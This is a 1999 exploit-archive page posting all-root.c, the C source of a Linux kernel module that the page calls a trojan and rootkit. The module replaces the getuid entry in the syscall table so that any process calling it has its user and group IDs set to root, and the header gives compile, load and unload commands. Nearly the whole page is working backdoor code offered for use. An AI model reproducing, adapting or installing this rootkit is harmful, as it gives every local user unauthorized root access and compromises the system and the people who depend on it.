exploit the possibilities

all-root.c

all-root.c
Posted May 1, 1999
Authored by Blasphemy

A kernel trojan (basic linux kernel module) which gives all users root.

tags | tool, kernel, root, trojan, rootkit
systems | linux, unix
MD5 | 2fc84f709e328db384764211be4ac3eb

all-root.c

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/*
* A kernel trojan (basic linux kernel module)
*
* Description: gives all users root
*
* coded by fred_ | blasphemy
*
* Compile: gcc -c -O3 all-root.c
* Load: insmod all-root.o
* Unload: rmmod all-root
*
* email: cornoil@netscape.net
*/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void *sys_call_table[];

int (*orig_getuid)();

int give_root()
{
int x;
if (current->uid != 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
}
return 0;
}

int init_module(void)
{
orig_getuid = sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid] = give_root;

return 0;
}

void cleanup_module(void)
{
sys_call_table[SYS_getuid] = orig_getuid;
}

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